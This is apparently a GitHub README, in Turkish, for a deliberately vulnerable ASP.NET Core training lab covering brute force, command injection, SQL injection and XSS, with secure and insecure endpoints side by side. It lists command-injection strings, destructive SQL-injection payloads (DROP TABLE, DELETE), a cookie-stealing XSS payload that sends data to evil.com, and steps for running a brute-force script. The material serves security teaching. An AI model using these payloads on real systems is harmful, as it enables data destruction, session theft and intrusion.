Skip to content

zerotracedev/VulnerableApp

Repository files navigation

VulnerableApp — ASP.NET Core MVC Web Güvenlik Zafiyetleri Laboratuvarı

.NET 6.0 SQL Server Security Demo Education MIT


🚀 Proje Hakkında

VulnerableApp; geliştiriciler, öğrenciler ve siber güvenlik meraklıları için hazırlanmış, ASP.NET Core MVC ve SQL Server tabanlı, gerçekçi ve modern bir web uygulama güvenliği laboratuvarıdır.
Amaç; Brute Force, Command Injection, SQL Injection ve XSS gibi yaygın web zafiyetlerini hem açık (vulnerable) hem de güvenli (secure) kod örnekleriyle canlı olarak incelemenizi, saldırı simülasyonları yapmanızı ve güvenlik farkındalığı kazanmanızı sağlamaktır.

Her saldırı tipi için:

  • 🔎 Kod içi açıklamalar ve
  • 🛠️ Saldırı araçları (ör: Python ile brute force otomasyonu) sunulmaktadır.

Notlar:

  • Bu proje, Windows 11 ortamında başarıyla test edilmiştir.
  • Şu an proje erken geliştirme (meta/beta) aşamasındadır ve aktif olarak geliştirilmektedir.
  • Henüz Linux veya diğer işletim sistemlerinde kapsamlı testler yapılmamıştır; ilerleyen süreçte platform bağımsızlığı artırılacaktır.
  • Herkes projeye katkıda bulunabilir! Hatalar, iyileştirmeler veya yeni özellikler için PR (Pull Request) ve Issue açmaktan çekinmeyin.

🗂️ Proje Yapısı

VulnerableApp/
├─ BruteForceTools/
│  ├─ bruteforce_login.py   # Brute force saldırı scripti (Selenium)
│  ├─ passwords.txt
├─ Controllers/
│  ├─ BruteForce/BruteForceController.cs
│  ├─ CommandInjection/CommandInjectionController.cs
│  ├─ SqlInjection/ProductSqlInjectionController.cs
│  └─ XssController/XssDemoController.cs
├─ Models/
├─ Views/
├─ Data/
├─ TestFiles/               # Komut enjeksiyonu için örnek dosyalar
├─ wwwroot/
├─ appsettings.json
└─ Program.cs

⚡ Kurulum & Çalıştırma

Gereksinimler

Araç Sürüm Açıklama
.NET 6.0+ Download
SQL Server 2019+ Local/Remote, Express/Full
Python 3.x (BruteForceTools için, opsiyonel)

Veritabanı Kurulumu

CREATE TABLE Products (
    Id INT IDENTITY(1,1) PRIMARY KEY,
    Name NVARCHAR(100) NOT NULL,
    Description NVARCHAR(255) NULL
);
CREATE TABLE Users (
    Id INT IDENTITY(1,1) PRIMARY KEY,
    Username NVARCHAR(50) NOT NULL,
    Password NVARCHAR(50) NOT NULL
);
CREATE TABLE BlockedIPs (
    Id INT IDENTITY(1,1) PRIMARY KEY,
    IP NVARCHAR(40) NOT NULL,
    BlockedAt DATETIME NOT NULL,
    BlockExpiresAt DATETIME NULL
);

INSERT INTO Products (Name, Description) VALUES
('Laptop', 'İnce ve hafif bilgisayar'),
('Telefon', 'Akıllı cep telefonu');
INSERT INTO Users (Username, Password) VALUES
('admin', '123'),
('bahar', 'test123');

Bağlantı dizesi:

{
  "ConnectionStrings": {
    "DefaultConnection": "Server=localhost;Database=VulnerableDB;User Id=sa;Password=YourPassword;TrustServerCertificate=True"
  }
}

Projeyi Başlat

dotnet build
dotnet run

Tarayıcıda: https://localhost:5215


🧪 Saldırı Senaryoları ve Açıklar

Her saldırı tipi için zafiyetli ve güvenli uç noktalar ile, kodun içinde detaylı açıklamalar mevcuttur.
Aşağıda her saldırının mantığı, saldırı örnekleri ve payload tablosu ile birlikte listelenmiştir:


1. Brute Force (Kaba Kuvvet) Saldırısı

Özellik Açık (Vulnerable) Güvenli (Secure)
Endpoint /BruteForce/VulnerableLogin /BruteForce/SecureLogin
Koruma Yok, sınırsız parola deneme IP tabanlı deneme limiti, bloklama
Senaryo Her istekte parola denenebilir 10 sn'de 3 yanlışta IP 10 dk blok

Python ile Otomatik Brute Force:

cd BruteForceTools
pip install selenium webdriver-manager
python bruteforce_login.py

passwords.txt içeriğini düzenleyerek kendi parola listenizi oluşturabilirsiniz.


2. Command Injection (Komut Enjeksiyonu)

Özellik Açık (Vulnerable) Güvenli (Secure)
Endpoint /CommandInjection/VulnerableExecute?fileName=... /CommandInjection/SecureExecute?fileName=...
Koruma Yok, input doğrudan komuta eklenir Yalnızca izinli dosya isimleri
Senaryo Komut zinciriyle işletim sistemi komutu çalıştırılır Sadece belirli dosya okunabilir

Örnek Komut Injection Payload'ları:

Amaç Payload (fileName parametresi)
Dosya listele sample.txt & dir
Mevcut kullanıcı sample.txt & whoami
Hack dosyası oku hack.txt && type hack.txt

3. SQL Injection

Özellik Açık (Vulnerable) Güvenli (Secure)
Endpoint /ProductSqlInjection/VulnerableSearch?q=... /ProductSqlInjection/SecureSearch?q=...
Koruma Yok, input doğrudan SQL sorgusuna eklenir Parametreli sorgu, ek filtreleme
Senaryo SQL enjeksiyonu ile veri silme/ekleme/okuma Zararlı input algılanırsa bloklanır

Örnek SQL Injection Payload'ları:

Amaç Payload
Tüm kayıtları listele ' OR 1=1 --
Tabloyu sil (DROP) '; DROP TABLE Products; --
Tüm ürünleri sil '; DELETE FROM Products; --
Belirli ürünü sil '; DELETE FROM Products WHERE Id=1; --
Yeni ürün ekle '; INSERT INTO Products (Name, Description) VALUES ('HACKED','XSS'); --

⚠️ UYARI:
Zafiyetli endpoint'te tablo ve veri kaybı yaşanabilir!
Lütfen test dışında kullanmayın, veritabanınızı yedekleyin.


4. XSS (Cross-Site Scripting)

Özellik Açık (Vulnerable) Güvenli (Secure)
Endpoint /XssDemo/Vulnerable /XssDemo/Secure
Koruma Yok, input filtrelenmez Basit script/event kontrolü
Senaryo HTML/JS payload doğrudan çıkar Script içeren input engellenir

Örnek XSS Payload'ları:

Amaç Payload
Alert kutusu <script>alert('XSS')</script>
Event tabanlı <img src=x onerror=alert('XSS')>
Cookie çalma <script>fetch('http://evil.com?c='+document.cookie)</script>

🛡️ Güvenlik ve Etik Uyarı

UYARI:
Bu proje, bilinçli güvenlik açıkları barındırır ve sadece eğitim/test ortamı için tasarlanmıştır.
Gerçek sistemlerde, başka uygulamalarda veya izinsiz olarak saldırı denemeleri yapmak etik ve yasal değildir.


👨‍💻 Kodda Açıklamalar & Geliştirme

  • Her controller ve view dosyasında, hangi kodun neden zafiyetli/güvenli olduğu, nasıl istismar edilebileceği ve nasıl önleneceği yorum satırlarında detaylı olarak açıklanmıştır.
  • Tüm saldırı senaryolarında kendi payload’larınızı, test dosyalarınızı veya parola listenizi özgürce ekleyip çıkarabilirsiniz.
  • Silme/ekleme gibi işlemler kalıcı sonuç doğurabilir, testten sonra veritabanınızı kolayca sıfırlayabilirsiniz.
  • Proje aktif olarak geliştirilmektedir ve katkılara tamamen açıktır!
    PR, Issue veya önerilerinizi bekliyoruz.

📬 İletişim & Katkı

Bilgi
👤 Ahmed Bahar
✉️ [email protected]
💼 LinkedIn
🐙 GitHub

📄 Lisans

MIT License • Yalnızca eğitim ve kişisel test amaçlı kullanım içindir.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published